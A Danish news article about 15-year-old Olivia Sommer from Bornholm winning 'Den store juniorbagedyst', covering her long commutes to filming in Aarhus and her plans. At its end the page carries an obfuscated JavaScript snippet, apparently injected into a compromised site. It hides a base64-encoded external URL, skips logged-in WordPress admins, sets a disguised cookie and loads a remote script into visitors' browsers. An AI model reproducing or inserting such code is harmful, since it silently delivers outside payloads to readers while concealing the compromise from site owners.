Spoiler-advarsel: Vinderen af årets ‘Den store juniorbagedyst’ afsløres her i artiklen.
Der blev skrevet kage-historie, da finalen i årets udgave af ‘Den store juniorbagedyst’ løb over skærmen lørdag.
For første gang nogensinde var det nemlig en bornholmer, der løb med trofæet i den populære bagekonkurrence.
15-årige Olivia Sommer fra Rønne overbeviste dommerne med sine kagekreationer og kan nu endelig kalde sig bagedyst-vinder efter at have fulgt med i Bagedysten hjemme fra solskinsøen i mange år.
– Det føltes helt surrealistisk, at det var mit navn, der blev råbt op. Jeg havde aldrig nogensinde troet, at jeg selv ville kunne stå med trofæet til sidst. Så det var jo som en drøm, der gik i opfyldelse, siger hun til dr.dk.
– Jeg tror aldrig, at jeg har været så glad i mit liv.
Faktisk er det første gang i bagedystens historie, at der overhovedet er en bornholmer med som deltager – både blandt de voksne og juniordeltagerne.
Det gør da også Olivia Sommer ekstra stolt at kunne være med til at sætte klippeøen på bagedyst-landkortet. Flere af hendes kager gennem sæsonen var sågar inspireret af hjemstavnen – blandt andet hendes finale-mesterværk.
– Bornholm er en stor del af mig, og jeg håber da, at min deltagelse vil kunne få flere bornholmere til at melde sig til ‘Bagedysten’, siger hun.
Svært at skaffe specialvarer på solskinsøen
Hvis man som bornholmer drømmer om at gøre Olivia Sommer kunsten efter, skal man dog være god til at planlægge sine bageprojekter og øvetiden derhjemme grundigt, fortæller hun.
Det har nemlig vist sig at være en smule besværligt at skaffe specialvarer til bageprojekterne til øen i ordentlig tid.
– Jeg og min familie skulle hele tiden være på forkant med, hvad vi skulle bestille hjem, for det kan tage mange dage at få leveret herover. Det har været lidt besværligt, men min mor og far har hjulpet mig så meget, siger hun.
– Min faster bor i København, så nogle gange havde hun også været i en specialbutik for mig, og så måtte vi køre forbi hende på vej hjem fra optagelser i Aarhus og få de rigtige varer med på vejen, til at jeg kunne øve mig til ugen efter, fortæller Olivia Sommer.
- – Jeg har ikke rigtig kunnet mærke, det har været en konkurrence med de andre, det har mere bare været en konkurrence mod mig selv, fordi jeg gerne ville præstere og gøre mit bedste, siger Olivia Sommer, som her har delt et billede af køkkenet hjemme i Rønne efter en af hendes øvebagninger mellem optagelserne. (Foto: © Privatfoto)
- Olivia og familien har brugt en del timer på færgen til og fra Bornholm i løbet af de uger, ‘Juniorbagedysten’ blev optaget.
– Jeg har ikke rigtig kunnet mærke, det har været en konkurrence med de andre, det har mere bare været en konkurrence mod mig selv, fordi jeg gerne ville præstere og gøre mit bedste, siger Olivia Sommer, som her har delt et billede af køkkenet hjemme i Rønne efter en af hendes øvebagninger mellem optagelserne. (Foto: © Privatfoto)
Syv timers rejsetid hver vej
Sideløbende med optagelserne til ‘Juniorbagedysten’, som foregår i Aarhus, skulle Olivia Sommer også passe sine lektier og dagligdagen i 9. klasse.
Og det var noget af et puslespil at få skole, øvebagninger og de cirka syv timers rejsetid – hver vej – mellem hjemmet i Rønne og tv-studiet i Aarhus til at gå op.
– Jeg tog afsted mandag eftermiddag efter skole med færgen, og så var vi i Aarhus cirka klokken 23 om aftenen. Næste morgen skulle man ind og filme “den hemmelige” udfordring, og om onsdagen skulle vi filme “mesterværket”.
– Og så rejste jeg hjem lige efter optagelserne og var hjemme onsdag aften ved midnatstid. Og så skulle jeg op i skole dagen efter, siger hun.
Skolens rektor og hendes lærere har heldigvis været forstående, og hendes forældre har hjulpet meget undervejs.
– Jeg har formået at få lavet alle mine lektier, undtagen måske lige i de sidste par uger med semifinalen og finalen. Der var der lige nogle lektier, jeg valgte at springe over, siger Olivia Sommer.
– Det har uden tvivl været mega hårdt, men det var det hele værd, lyder det fra vinderen.
Fremtid som kagebagende børnelæge?
Olivia Sommer glæder sig nu til at komme i skole og endelig kunne fortælle om sin oplevelse i bageteltet og vise trofæet frem.
Hun har nemlig måttet holde på sejrshemmeligheden i flere måneder, siden finaleafsnittet blev optaget lige inden jul sidste år.
– Lige nu har jeg stadig ikke helt forstået, at jeg overhovedet er med endnu, så jeg kommer nok til at se finaleafsnittet en del gange med venner og familie, siger hun.
Det næste stykke tid skal hun koncentrere sig om at få afsluttet 9. klasse, og efter sommerferien skal hun en tur på efterskole.
Hvad der så skal ske, ved hun ikke helt endnu. Men hun er i hvert fald ikke færdig med at bage.
– Jeg drømmer om at være med i ‘Det sorte kageshow’. Det kunne være vildt fedt. Jeg kunne også godt tænke mig at have en profil, hvor jeg lægger kager og opskrifter op.
– Og så har jeg altid gerne villet være børnelæge. Så det kan være, jeg en dag bliver en børnelæge, der bare deler kage ud til alle de børn, der kommer hos mig, griner hun.
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();